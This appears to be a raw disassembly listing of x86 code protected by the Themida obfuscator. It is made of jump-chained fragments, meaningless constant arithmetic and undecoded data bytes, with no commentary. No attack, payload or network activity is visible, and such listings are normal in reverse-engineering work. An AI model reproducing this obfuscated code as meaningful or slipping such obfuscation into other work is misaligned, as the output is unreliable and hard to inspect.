mov ebp, esp add ebp, 4 jmp loc_5652A5 ; --------------------------------------------------------------------------- dd 5905E953h, 0C2810000h, 10C0080Ah, 0B951EA01h, 30ED3E31h dd 4102E1C1h, 0F0BBE981h, 0C281B2F4h, 18A541A7h, 0EA81CA29h dd 18A541A7h, 0B55E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554726: ; CODE XREF: Themida_:0055C203j push ebp mov ebp, 2A457C7h not ebp jmp loc_5622A5 ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 242C8900h, 8DB4E9h db 0 ; --------------------------------------------------------------------------- loc_554745: ; CODE XREF: Themida_:0055976Cj add esp, 4 jmp loc_55ABEA ; --------------------------------------------------------------------------- dd 241C8966h, 4207E9h, 0B8EE8100h, 56EB71B9h, 8324148Bh dd 0C0E904C4h, 83FFFFE1h, 1C8904ECh, 0C3685024h, 584F457Fh dd 79BCE9h, 2C556800h, 4890000h, 1355B824h, 0D2E96680h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55478F: ; CODE XREF: Themida_:00557872j push 52B8h mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 jmp loc_55D290 ; --------------------------------------------------------------------------- loc_5547AA: ; CODE XREF: Themida_:0055D893j add edx, 1F403C05h pop esi sub edx, 436C50F0h add edx, 0F8F009F2h and edi, edx pop edx xor edi, 76322F21h xor eax, edi pop edi push ebx jmp loc_5526DC ; --------------------------------------------------------------------------- loc_5547CF: ; CODE XREF: Themida_:00561919j mov ebx, 54263F9Fh neg ebx jmp loc_5566C4 ; --------------------------------------------------------------------------- db 5Fh dd 4EC81h, 34890000h, 1C0EBE24h, 0DCE9728Eh, 5C00008Fh dd 9C240401h, 0FFBC27E9h, 815D54FFh, 4C5h, 4C58100h, 0E9000000h dd 193Bh, 6A3CEB81h, 0F301613Bh, 6A3CB850h, 0C301613Bh dd 0B219E958h, 0D7F70000h, 8106EFC1h, 0A0512CC7h, 0D5EF816Ch dd 0E9B42DCEh, 0FDF6h, 4C781h, 0B8500000h, 485103ADh, 0BD55h dd 0C5290000h, 31D6E9h, 4C48100h, 88000000h, 1C8B871Ch dd 4C48124h, 0E9000000h, 0FFFFBBB8h, 240C8B66h, 0E95F5457h dd 10D05h, 8103E3C1h, 0C3154EE3h, 814B4316h, 222D6CC3h dd 0E9DA892Eh, 0CD5Fh, 4C481h, 0E7680000h, 89000040h, 0E389241Ch dd 4C381h, 0B9510000h, 6F9007A1h, 0D008E9h, 0BB6EE900h dd 0E981FFFFh, 4C051B27h, 6305EA81h, 0CA011F66h, 0BE565150h dd 9600F54h, 10A4CE9h, 91EF8100h, 218780A6h, 0C6815FFEh dd 0EFFFFF84h, 815EF201h, 4ECh, 24048900h, 4B8h, 58C22900h dd 2474FF52h, 48F5A04h, 24248B24h, 0B5240C89h, 0C000E904h dd 0AEBDFFFFh, 0E9774829h, 11F8h, 240C8B66h, 1B668h, 24048900h dd 0D796E9h, 4BE00h, 0D8E90000h, 330000D9h, 3C31243Ch dd 243C3324h, 0D324248Bh, 9E92424h, 83FFFFCAh, 0F82104C4h dd 81243C8Bh, 4C4h, 0D1C20900h, 0A009E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554956: ; CODE XREF: Themida_:0056148Cj add ebx, 4 jmp loc_559983 ; --------------------------------------------------------------------------- loc_554961: ; CODE XREF: Themida_:00554C08j pop ecx jmp loc_5510FC ; --------------------------------------------------------------------------- db 1 dd 0BA5258C5h, 383F451Bh, 0D2F74A42h, 8E2C142h, 1B04C281h dd 48E93F45h, 52000021h, 0CE058468h, 1306E96Ch, 0EC830000h dd 243C8904h, 11B6E9h db 0 ; --------------------------------------------------------------------------- loc_554999: ; CODE XREF: Themida_:00559E7Fj sub ecx, 0AB8DB022h push eax mov eax, ecx jmp loc_5554E2 ; --------------------------------------------------------------------------- db 58h dd 0ED7B9325h, 1B013547h, 0E8C171E9h, 0EED3507h, 0C435221Ah dd 312F267Dh, 0A6E958C1h, 0C1000019h, 0C40507E8h, 0E923161Ch dd 7A19h, 14026705h, 1C900D65h, 0B95138A1h, 41345D7Bh dd 0F759C801h, 65FD05D0h, 0A8052977h, 90CCA38h, 0E58158C5h dd 4A593900h, 4EC81h, 0B6E90000h, 8900003Bh, 3FBB241Ch dd 2D6C8256h, 3C9129E2h, 0E205D829h, 5B3C9129h, 47A96857h dd 24890000h, 24048124h, 4, 8EE9555Fh, 0C1FFFFD8h, 0CAE908E7h dd 540000CEh, 8D40E9h, 0D9015E00h, 6F30E981h, 34FF367Ch dd 0C4835B24h, 4E1C104h, 0FFFFC181h, 0E181FFFFh, 48B927D9h dd 0FFF4C4E9h, 0C48358FFh, 4EC8104h, 89000000h, 3CBD242Ch dd 317AAA28h, 0EC835DE8h, 240C8904h, 364E7E68h, 89535927h dd 0E53EE9E3h, 815A0000h, 0B94138EBh, 0DFF8E977h, 15A0000h dd 24048BC7h, 8304C483h, 148904ECh, 0D2FBA24h, 0CA814629h dd 10190DD6h, 1EB6E9h db 0 ; --------------------------------------------------------------------------- loc_554AB9: ; CODE XREF: Themida_:0055648Aj sub bl, cl sub bl, 38h pop ecx jmp loc_55786E ; --------------------------------------------------------------------------- dd 7C03BD55h, 0E8010930h, 83242C8Bh, 0BB5304C4h, 21E8129Eh dd 55BD829h, 44A0347Ch, 0A9E9D829h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554AE7: ; CODE XREF: Themida_:0055A8B3j sub esi, ebx pop ebx xor esi, 0BDC197CAh jmp loc_561F5D ; --------------------------------------------------------------------------- loc_554AF5: ; CODE XREF: Themida_:0055EE71j mov eax, 515A23A5h and edi, eax pop eax xor edi, 410A0023h add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] or [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_554B15: ; CODE XREF: Themida_:00556249j add ebx, edx pop edx inc ebx inc ebx push ebp mov ebp, 6E80F4CDh xor ebx, ebp jmp loc_55A8B2 ; --------------------------------------------------------------------------- db 0F6h dd 19DE9D1h, 0C1010000h, 0FFFA11E9h, 5BDA01FFh, 963E951h db 1, 0 ; --------------------------------------------------------------------------- loc_554B3E: ; CODE XREF: Themida_:0055240Dj push esi push edi push ecx mov ecx, 5E991793h xor ecx, 1F3E7B3Ch mov edi, ecx jmp loc_555320 ; --------------------------------------------------------------------------- db 0B7h dd 5BF820C4h, 485B252h, 0FB0CE995h, 0C890000h, 0C173E924h dd 0E95A0000h, 0C019h, 31D8BB53h, 0D8013F3Fh, 81241C8Bh dd 4C4h, 53595B00h, 34A6E9h, 4C48300h, 4B850h, 89E90000h dd 68000049h, 6732h, 81240C89h, 5A30242Ch, 815B0EB2h, 0B25A30C3h dd 9BFBE90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BB2: ; CODE XREF: Themida_:0055B9E6j push ebx push edx mov edx, 43732162h add edx, 1EE12424h mov ebx, edx pop edx sub ebx, 0FB992D64h xor edi, ebx pop ebx xor edi, 1C966020h xchg ecx, edi not ecx xchg ecx, edi jmp loc_5602DC ; --------------------------------------------------------------------------- dd 2474FF52h, 2434FF04h, 51E2685Ah, 14890000h, 81E28924h dd 4C2h, 4C28300h, 5C241487h, 0B22AE9h db 0 ; --------------------------------------------------------------------------- loc_554C01: ; CODE XREF: Themida_:0055D298j mov [esp], ecx push dword ptr [esp+4] jmp loc_554961 ; --------------------------------------------------------------------------- db 56h, 53h, 0BBh dd 0AF37782h, 8CE9DE89h, 5A0000BBh, 2474FF50h, 24048B04h dd 8F04C483h, 248B2404h, 241C8924h, 1BBh, 0F816E900h, 0BD55FFFFh dd 13666E6Ch, 4EC81h, 2C890000h, 0D84E924h, 3C8B0000h dd 4C48124h, 81000000h, 2EEh, 26BBE900h, 0FA890000h, 83243C8Bh dd 0D33104C4h, 5224148Bh, 0C281E289h, 4, 0FFDCEFE9h, 87D687FFh dd 34FF2434h, 22E95A24h, 800000BEh, 85996EEh, 0EC815AF3h dd 4, 0B5240C89h, 0EE4CE9BBh, 5366FFFFh, 8CE905B3h, 0B9000107h dd 22677B1Ch, 15ECE9h, 0B766E900h, 0EE81FFFFh, 8AB65A7h dd 7164C681h, 0D2E9066Bh, 80000035h, 0D9F691F1h, 0E8D8E9h dd 241C8700h, 0E924348Bh, 1053Ch ; --------------------------------------------------------------------------- loc_554CE0: ; CODE XREF: Themida_:00563C17j mov [esp], eax push 7002h mov [esp], edx jmp loc_55E018 ; --------------------------------------------------------------------------- dd 6F6E68h, 24048900h, 1B22E9h db 0 ; --------------------------------------------------------------------------- loc_554CFD: ; CODE XREF: Themida_:0056387Aj mov ebx, 0BEB3D45h neg ebx xor ebx, 53D122E4h shr ebx, 5 sub ebx, 0C520D93Ch mov eax, ebx pop ebx or eax, 20D40F35h jmp loc_5588B8 ; --------------------------------------------------------------------------- aSf db '\éäÚ',0 align 2 dw 0E689h dd 4C681h, 12E90000h, 8000000Ch, 0B35360EDh, 0FEC3FE12h dd 80D3F6C3h, 0E3C024EBh, 2FC38003h, 1C8BDD08h, 4C48324h dd 882EED80h, 240C8BEFh, 4C481h, 0E7D00000h, 8002EFC0h dd 0CFFEA8E7h, 0C780D7F6h, 0E97304BAh, 0FFFFDAF9h, 5C243C87h dd 8B2434FFh, 0E9522404h, 0FFFFF35Fh, 95F5D57h, 6478E9EAh dd 0D3010000h, 56B7C381h, 0EB816108h, 44717C5Ch, 0FFDC95E9h dd 4C481FFh, 52000000h, 0F000ACB6h, 0B860E95Ah, 815EFFFFh dd 4C6h, 4C68100h, 87000000h, 565C2434h, 0C681E689h, 4 dd 4560E9h, 25B85000h, 112BF6Eh, 575E58C2h, 108A6E9h, 48F6600h dd 0B636E987h, 0BBBFFFFFh, 314B7308h, 0D6015FFAh, 4C6815Ah dd 87000000h, 248B2434h, 42B86824h, 1C890000h, 2434FF24h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 2C314EFDh neg edx jmp loc_555138 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 555F5424h, 0FFCE6DE9h, 5DE901FFh, 4C181h dd 0EC810000h, 4, 0FF240C89h, 59042474h, 8B24048Fh, 48B2424h dd 59545124h, 4BF57h, 0F5E90000h, 0BFFFFFDCh, 4, 18E9F801h dd 88000084h, 0E9D188C2h, 0E0C5h, 5C240487h, 8B24048Fh dd 49E92424h, 54000029h, 4BB535Dh, 0E9000000h, 25A9h, 0FFB58FE9h dd 81E689FFh, 4C6h, 4C68300h, 5C243487h, 8B241C87h, 8B662424h dd 89572404h, 0E95250E7h, 97F9h, 4BD55h, 38E90000h, 29000001h dd 0BA525DEFh, 7A167DB7h, 0D781E9h db 0 ; --------------------------------------------------------------------------- loc_554ECD: ; CODE XREF: Themida_:0055DCFCj add esp, 4 add eax, 411C7846h sub eax, ebx sub eax, 411C7846h push ecx mov ecx, 6E031FF6h xor ecx, 3B781B7Fh neg ecx sub ecx, 0B6C3A15h jmp loc_559039 ; --------------------------------------------------------------------------- dd 3AE9D6F7h, 0FF0000DDh, 89E92434h, 8300000Ch, 0DBE904C4h dd 80000079h, 90E9FFEEh, 0FFFFFFD9h, 1C8B2434h, 4EC8324h dd 0BC91E9h, 6FE98100h, 0F703C52Dh, 71B850D9h, 0E903CFFBh dd 0A36Ah, 8B5BD800h, 0C483241Ch, 0B8B05004h, 6608E0C0h dd 0B3535251h, 5BDA88F0h, 45AD588h, 480412h, 7D3FE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F5E: ; CODE XREF: Themida_:0055992Fj mov esi, 267E10BCh sub ecx, esi pop esi add ecx, 2B75B59Fh add ebx, ecx pop ecx pop ebp jmp loc_564BC6 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0BFh dd 81B6163Bh, 115B46C7h, 55C70136h, 350953BDh, 0A2E9453Fh dd 68FFFFC8h, 2, 0DF19E9h, 0EC835900h, 24048904h, 0A2D9E9h db 0 ; --------------------------------------------------------------------------- loc_554FA5: ; CODE XREF: Themida_:0055075Bj mov ecx, 390612F8h xor ecx, 161C79F5h xor ecx, 66893435h sub ebx, ecx pop ecx jmp loc_552D42 ; --------------------------------------------------------------------------- aYsdl db 'YédL',0 align 4 dd 8108E3C1h, 974C22CBh, 55D3F70Fh, 97FD5BDh, 0ED814D61h dd 2C5F0315h, 0D526E9h, 24148700h, 5F55575Dh, 0FFC7835Dh dd 80A4F781h, 0EE9E670h, 81FFFFB8h, 1704246Ch, 81404F5Dh dd 4E042444h, 0E92B8819h, 58EDh, 1246C86h, 6C86D5F6h, 34FF0124h dd 0BC1FE924h, 0C7810000h, 6FF37307h, 761BE781h, 0EF81321Eh dd 200A2207h, 0CA6BE9h db 0 ; --------------------------------------------------------------------------- loc_555035: ; CODE XREF: Themida_:0055C351j and ecx, ebp jmp loc_55B30C ; --------------------------------------------------------------------------- dd 4BFh, 5FF80100h, 4EC81h, 3C890000h, 4BF24h, 0F8290000h dd 0A9ADE9h db 0 ; --------------------------------------------------------------------------- loc_555059: ; CODE XREF: Themida_:00558DF8j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55B8B8 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 215A6800h, 14890000h, 2474FF24h, 48F5A04h, 24D25C24h dd 8DE99C24h, 5DFFFFB3h, 8904EC83h, 0FF552434h, 815E2434h dd 4C4h, 0C5815D00h, 0FFFFFFFFh, 0F681EE87h, 5B5F7FBAh dd 30B850h, 50000h, 17B0A57h, 7B35E9D0h, 84680000h, 89000059h dd 0B9512414h, 5B005E76h, 4BE9D9F7h, 52000016h, 0D7281FB2h dd 5BF8305Ah, 8499E9h, 1C700h, 0FF000000h, 0A2E92434h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550F7: ; CODE XREF: Themida_:0055C111j pop esp jmp loc_56437B ; --------------------------------------------------------------------------- db 0B1h, 64h, 20h dd 0BCF7E9CBh, 248BFFFFh, 0FFF03124h, 348B2434h, 0E2895224h dd 4C281h, 0C2810000h, 4, 7A22E9h, 6AC28100h, 1540C7Fh dd 6AEA81C2h, 0E9540C7Fh, 0FFFFC620h ; --------------------------------------------------------------------------- loc_555138: ; CODE XREF: Themida_:00554E1Aj shr edx, 8 xor edx, 7E520F57h shr edx, 2 jmp loc_555EFC ; --------------------------------------------------------------------------- loc_555149: ; CODE XREF: Themida_:0055FF65j push 643E2B1Fh jmp loc_55BC11 ; --------------------------------------------------------------------------- loc_555153: ; CODE XREF: Themida_:0055C57Aj mov ecx, [esp] add esp, 4 xor edx, ebp jmp loc_557B89 ; --------------------------------------------------------------------------- dd 0C103EFC1h, 0D14F04EFh, 43DF87EFh, 3DE9DF87h, 57FFFFF3h dd 0E9240CFFh, 6A43h, 24048B66h, 79F0E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 2C256FEBh dec ebx jmp loc_55D2C7 ; --------------------------------------------------------------------------- aBudym2sU db 'îDyM2éś',0 dd 87EE8000h, 148BF028h, 0B9E95324h, 8900003Bh, 0D789243Ch dd 24048157h, 5E863B2h, 17DE95Bh, 1580001h, 24348BF5h dd 3104C483h, 0D1215DEAh, 0FFEF73E9h, 0FFEB81FFh, 81FFFFFFh dd 0F77DDCEBh, 0A6C38141h, 8157E74Fh, 59CD97C3h, 5BD931B9h dd 91C98149h, 0E97DD335h, 0A782h, 572FEE81h, 34FF027Fh dd 242C8B24h, 8104C483h, 4C4h, 8BF22900h, 0C4812434h, 4 dd 0FFB1FBE9h, 4EC81FFh, 89000000h, 74FF2404h, 34FF0424h dd 54505824h, 40558h, 4050000h, 87000000h, 248B2404h, 24048F24h dd 64A968h, 24148900h, 0D817E9h, 0C3815800h, 2, 0E9595451h dd 2078h, 81E9F830h, 35000094h, 79C3D90h, 0B8E9D0F7h, 6800003Bh dd 683Ah, 0BF243C89h, 4C1E6558h, 9EE9FA29h, 0BE000098h dd 294E16BFh, 0FFDE16E9h, 4FEF81FFh, 83075800h, 0E955FFEFh dd 0CC01h, 0DA293CBBh, 2940BF07h, 0DEE907DAh, 0B9FFFFBDh dd 66D512FFh, 3922E9h, 246F2900h, 8B2434FFh, 0C483242Ch dd 4EC8104h, 89000000h, 93E9242Ch, 280000B9h, 0E9C704D0h dd 0FFFFD744h, 0D224248Bh, 0E99C240Ch, 0FFFFB130h, 54F9E95Ch dd 0C1290000h, 2434FF58h, 5224148Bh, 0C281E289h, 4, 8704C283h dd 815C2414h, 4C4h, 59CE8900h, 0E91C7721h, 0F31Fh ; --------------------------------------------------------------------------- loc_555320: ; CODE XREF: Themida_:00554B4Ej pop ecx jmp loc_561F20 ; --------------------------------------------------------------------------- dw 0E95Bh dd 10036h, 5B2434FFh, 0FFEA91E9h, 59A205FFh, 0F0297162h dd 1058E957h, 0C7810000h, 4, 0E902C783h, 0FFFFD122h, 51240C8Bh dd 0E952E189h, 8B76h ; --------------------------------------------------------------------------- loc_55535C: ; CODE XREF: Themida_:00564387j mov [esp], edi mov edi, esp sub esp, 4 mov [esp], ebx mov ebx, 9285E45h and ebx, 1F837E8Ch shr ebx, 4 jmp loc_5614C5 ; --------------------------------------------------------------------------- dw 0C300h aAiaaiXqh1e db 'ëë[XQh1e',0 dd 0AB1FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55538E: ; CODE XREF: Themida_:0055CADEj add esi, ecx sub esi, 15DE661Bh mov ecx, [esp] add esp, 4 jmp loc_5528B7 ; --------------------------------------------------------------------------- dd 30EB815Fh, 0E96D3714h, 25A6h, 59DCC380h, 862B151h, 0E95059CBh dd 0C2h, 0D9CDE95Fh, 0C289FFFFh, 0FFE04CE9h, 6E0C0FFh dd 803BB753h, 0F780AAE7h, 0F9C78094h, 45BF830h, 0E9C22040h dd 1F50h, 0BFE9D8F7h, 8B000097h, 0C481243Ch, 4, 0E905EBC1h dd 0AA4Dh, 875FF901h, 248B240Ch, 24040024h, 0B00EE99Ch dd 815AFFFFh, 0CC31C5C2h, 0FFC28312h, 295E953h, 56520001h dd 2BEh, 0A35CE900h, 0C7290000h, 90C78158h, 296CF800h dd 90EF81D7h, 816CF800h, 0BD4FB9C7h, 0C9A3E967h, 0C281FFFFh dd 80F961B1h, 5EE9D101h, 0B9000042h, 67B942A9h, 848DE9h dd 5A250500h, 0C729877Ah, 81D7F758h, 99BA7EEFh, 0FFF829D5h dd 815F2434h, 4C4h, 0EDD4E900h, 34B40000h, 34FFE328h, 0C4835824h dd 8BDD2804h, 0C483241Ch, 0FFE83004h, 0C8B2434h, 4C48324h dd 5E08950h, 4, 405h, 24048700h, 0E924248Bh, 1013Bh, 9B030668h dd 0BD555937h, 379B0302h, 2C8BE929h, 4C48124h, 89000000h dd 240C8BCDh, 4C481h, 0EF010000h, 0F449E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5554E2: ; CODE XREF: Themida_:005549A2j push eax push edx mov edx, 2765552Ch sub [esp+4], edx pop edx pop esi jmp loc_5603EB ; --------------------------------------------------------------------------- loc_5554F4: ; CODE XREF: Themida_:00564CF2j mov ebp, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Bh, 241C895Ch, 7C242C81h, 8B77D57Bh dd 0EC812404h, 4, 0E9240489h, 0FFFFB816h ; --------------------------------------------------------------------------- loc_55552C: ; CODE XREF: Themida_:005535DFj sub edi, 357E4BC8h pop eax xchg edi, [esp] mov esp, [esp] xchg esi, [esp] pop esp push 3F67h mov [esp], edx push 429C44FDh pop edx push ebx mov ebx, 6B45086Bh and ebx, 76D461F0h and ebx, 49B17B0Bh sub ebx, 1E2BB6F2h or edx, ebx pop ebx shl edx, 2 push 20F0h mov [esp], eax mov eax, 562F2AC7h or edx, eax mov eax, [esp] jmp loc_55DEEC ; --------------------------------------------------------------------------- dd 6658E108h, 660C1B68h, 0B4240489h, 0B514E901h, 0EC810000h dd 4, 0F7243C89h, 3C8B2414h, 4C48324h, 9201C781h, 0F821643Dh dd 0E9243C8Bh, 10417h, 42E952ACh, 810000FEh, 1C6h, 0DCAEE900h dd 0C4810000h, 4, 352EE950h, 0D0880000h, 247C8A5Ah, 24448804h dd 454FE904h, 0CF890000h, 81240C8Bh, 4C4h, 53A26800h, 4890000h dd 54E95324h, 0B8FFFFDDh, 4, 5158C101h, 0BD9AE9h, 66E98100h dd 8108DF81h, 354506C3h, 81CB012Eh, 354506EBh, 0DA89592Eh dd 0CFBD555Bh, 297C7644h, 0D0015DE8h, 305BB53h, 8DE956A1h dd 48FFFFF9h, 0E908E0C1h, 65ACh, 24048F5Bh, 5724248Bh dd 0E904EC83h, 0FFFFD11Ah, 0E9240C8Bh, 0C0FDh ; --------------------------------------------------------------------------- loc_555658: ; CODE XREF: Themida_:00559997j pop ecx add esp, 4 push ecx mov ch, 0E7h and ch, 37h inc ch xor ch, 9Bh dec ch xor ch, 68h add al, ch pop ecx add al, cl sub al, 0DAh push bx mov bl, 70h add al, bl pop bx pop ecx push ebp jmp loc_563A4E ; --------------------------------------------------------------------------- dw 0B7B5h dd 0D1B55166h, 0F61CB652h, 0D9EE80D6h, 0E9E9EE80h, 0ED7Dh dd 2C8BEE01h, 0E2895224h, 8237E9h, 0C4815F00h, 4, 2474FF55h dd 48F5D04h, 24248B24h, 4EC81h, 34890000h, 2C66BE24h, 74296EAFh dd 535E0424h, 0BA3676BBh, 246C8175h, 0F5200A04h, 1C26E911h dd 55530000h, 98DAE9h, 0E6895600h, 4BB53h, 0C6810000h dd 722065B7h, 8E22E9h, 14BF5700h, 0C10CBE5Ch, 0CF8105E7h dd 2A1E38D0h, 0E3F3F781h, 0FB89DA82h, 2ABA525Fh, 163577Fh dd 0E9515AD3h, 0FFFFD5C3h, 8ED8E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555726: ; CODE XREF: Themida_:005640BEj push dword ptr [esp] pop edx add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 7105h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 8D251B8h jmp loc_561918 ; --------------------------------------------------------------------------- aQhB db 'QhÔB',0 dd 241C8900h, 4EC81h, 1DE90000h, 0AD0000E2h, 0A62912Dh dd 36C42D32h, 0D8294E41h, 36C4BA52h, 0E32D4E41h, 1329576h dd 76E305D0h, 34FF3295h, 89515A24h, 4C181E1h, 81000000h dd 4C1h, 92BBE900h, 0D6F70000h, 70C68146h, 29D6AF4Fh, 148B5EF0h dd 4C48324h, 4EC81h, 50E90000h, 0FF00008Ah, 52582434h dd 0BC95E954h, 0D72DFFFFh, 8B66DF7Ah, 6468240Ch, 0E900003Ah dd 0AAD0h, 582434FFh, 50E68956h, 4B8h, 0E9C60100h, 34EDh ; --------------------------------------------------------------------------- loc_5557F0: ; CODE XREF: Themida_:0055B46Bj sub edx, 19A375FDh pop edi jmp loc_55857E ; --------------------------------------------------------------------------- dd 2414F752h, 0CF6AE95Ah, 1C8B0000h, 4C48124h, 2C000000h dd 7CB5E936h, 6E680000h, 0E900001Eh, 1FA0h, 81240C8Bh dd 4C4h, 0E0895000h, 405h, 0F0FEE900h, 0D1010000h, 3277E981h dd 3E9090Ah, 68000023h, 398Fh, 5A242C89h, 75F2E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555852: ; CODE XREF: Themida_:00556DEFj pop esp pop edx push ebp mov ebp, esp jmp loc_562971 ; --------------------------------------------------------------------------- loc_55585C: ; CODE XREF: Themida_:00559B2Cj sub eax, 1CFE0E48h add eax, esi push esi mov esi, 1CFE0E48h add eax, esi pop esi mov esi, [esp] add esp, 4 push ebx mov ebx, 2CAB3C24h push 0 sub dword ptr [esp], 15A97FD1h sub [esp], ebx add dword ptr [esp], 15A97FD1h pop ebx or ebx, 7FF4486Ch xor ebx, 0FFF4CBF8h jmp loc_55A525 ; --------------------------------------------------------------------------- loc_5558A3: ; CODE XREF: Themida_:005652E4j add eax, 3560E91Ch xor ebp, eax jmp loc_5633ED ; --------------------------------------------------------------------------- db 81h dd 478719C2h, 47C28129h, 0F77DFA63h, 92CA81DAh, 815C1F2Ah dd 7F4AF1E2h, 0CAF28161h, 0E98208D9h, 0E60Eh, 8B2434FFh dd 0C481240Ch, 4, 0FFBEF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5558E5: ; CODE XREF: Themida_:00562B4Bj push eax mov eax, 4 jmp loc_559221 ; --------------------------------------------------------------------------- dd 24048B66h, 624E68h, 0CD45E900h, 0E951FFFFh, 0A34h, 81D5F745h dd 7BFF37F5h, 5DEB29B9h, 431C381h, 0D3015885h, 431EB81h dd 0C3815885h, 67C4228Ah, 5A2434FFh, 0E9E28952h, 4294h ; --------------------------------------------------------------------------- loc_555930: ; CODE XREF: Themida_:0055C1C3j push edi push dword ptr [esp+4] jmp loc_55C10D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 9485E9h, 4C68100h, 56000000h, 42474FFh, 3E77E9h db 0 ; --------------------------------------------------------------------------- loc_555955: ; CODE XREF: Themida_:00557074j neg edi sub edi, 96116DAh shr edi, 8 neg edi xor edi, 0FF5A785Bh sub ecx, 214172CEh add ecx, edi jmp loc_550493 ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 0BD665524h, 8166096Fh, 66476ECDh, 6608E5C1h, 6604E5C1h dd 5051D5F7h, 5EF2E9h, 0D3BA5200h, 292AF272h, 0F6815AD6h dd 508DD028h, 348BF201h, 4C48324h, 31241433h, 14332414h dd 24248B24h, 0B404E9h, 14E9AD00h, 2DFFFFBAh, 66D55C41h dd 6B5A0825h, 71DEE959h, 4810000h, 7C0FA724h, 0E9815924h dd 247C0FA7h, 57242C8Bh, 0C781E789h, 4, 0A200E9h, 79685300h dd 89000054h, 51522424h, 7D514068h, 0E941595Bh, 81E6h ; --------------------------------------------------------------------------- loc_555A08: ; CODE XREF: Themida_:0055E4D0j pop ecx inc ah shl ah, 6 inc ah sub ah, 29h or ah, 0D4h shr ah, 7 or ah, 5Eh jmp loc_554588 ; --------------------------------------------------------------------------- db 0BFh, 52h, 39h dd 0FE2972ECh, 97C6815Fh, 1538521h, 97EE81EEh, 53538521h dd 8E097CBBh, 0E3814B3Ch, 69955A1Eh, 7831C381h, 0F3817B94h dd 67F377ECh, 661FC381h, 0EB8134CDh, 85CD2474h, 14EDE9h dd 5685C00h, 89000077h, 5E542434h, 4C681h, 0BB530000h dd 4, 0E95BDE01h, 75FBh, 8BF7295Ah, 0C4812434h, 4, 0B951D701h dd 4E05314Ch, 8106E1C1h, 246196E1h, 0D5F18120h, 576D9A22h dd 466078BFh, 8BF9295Fh, 0C481243Ch, 4, 5659CF01h, 0AE00E9BEh dd 0EE814665h, 1, 3C28E9h, 4C58100h, 87000000h, 0E95C242Ch dd 5BDCh, 8244429h, 8246C81h, 26A43B2Fh, 244C2958h, 3DBF5704h dd 81253438h, 5808246Ch, 817D5332h, 0B2082444h, 11A8F07h dd 0E908247Ch, 88FEh, 0D6CD814Dh, 813B3209h, 7A29FBF5h dd 0F399E97Fh, 31B50000h, 0EE805FB6h, 0A21FE997h, 5580000h dd 4, 4B951h, 0C8010000h, 81240C8Bh, 4C4h, 24048700h, 4811685Ch dd 1C890000h, 21E95724h, 0BF0000C5h, 17A743D8h, 0A743DCBBh dd 0FFFB2917h, 17E92434h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555B63: ; CODE XREF: Themida_:00558857j push ecx mov ecx, 4 jmp loc_55DE40 ; --------------------------------------------------------------------------- dw 34FFh aS_6 db '$[é&ě',0 dw 0B800h dd 4, 158C389h, 0C6815BDEh, 4, 0E9243487h, 76B3h, 8B2434FFh dd 0C4812404h, 4, 81E38953h, 4C3h, 4C38300h, 12CBE953h dd 0E95E0000h, 0FCB3h, 4244481h, 65167483h, 4246C81h, 4E874BB2h dd 70A0E9h, 7CE18000h, 32066866h, 24048966h, 0C1800FB4h dd 80E128B9h, 5866B9E9h, 0C8BC830h, 97E95024h, 57FFFFBFh dd 72A1E9h, 4B800h, 0C7290000h, 0BAA1E958h, 2489FFFFh dd 24048324h, 24348B04h, 8104C483h, 4C6h, 4C68100h, 87000000h dd 9BE92434h, 8100002Dh, 42404h, 34FF0000h, 0C4815E24h dd 4, 0EBADE9h, 0F2814A00h, 54E27586h, 433DEA81h, 0D6013344h dd 4C6815Ah, 33000000h, 34312434h, 24343324h, 0E924248Bh dd 0E031h, 0C104C483h, 0BE5606E7h, 14D38BA3h, 5A0DE9h dd 0EA815C00h, 4F21F3FEh, 5E47EF81h, 0E95005D6h, 0FFFFCD1Eh dd 1155BF57h, 0C7817DADh, 9C8D5332h, 0E95FF801h, 8610h dd 0BE3BE95Ah, 0BD550000h, 6EA104FFh, 65E9DDF7h, 81FFFFD5h dd 195E2AE9h, 0EC815A7Fh, 4, 0BF243C89h, 4, 572DE9h, 0E9F30100h dd 0FFFFE734h ; --------------------------------------------------------------------------- loc_555CC8: ; CODE XREF: Themida_:00550446j mov [esp], edx push 719Fh jmp loc_55EF16 ; --------------------------------------------------------------------------- db 48h, 0Dh, 78h dd 0F720B661h, 0A96905D8h, 0C2895EC0h, 81DAF758h, 884E75F2h dd 0E9D62921h, 542Dh, 68241C89h, 764Bh, 0BE243489h, 1EDA3950h dd 0B95EF389h, 53054FE0h, 1C8BD931h, 9366E924h, 34FF0000h dd 37076887h, 3C890000h, 6A46E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555D26: ; CODE XREF: Themida_:00560D1Cj pop ecx xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_558EE5 ; 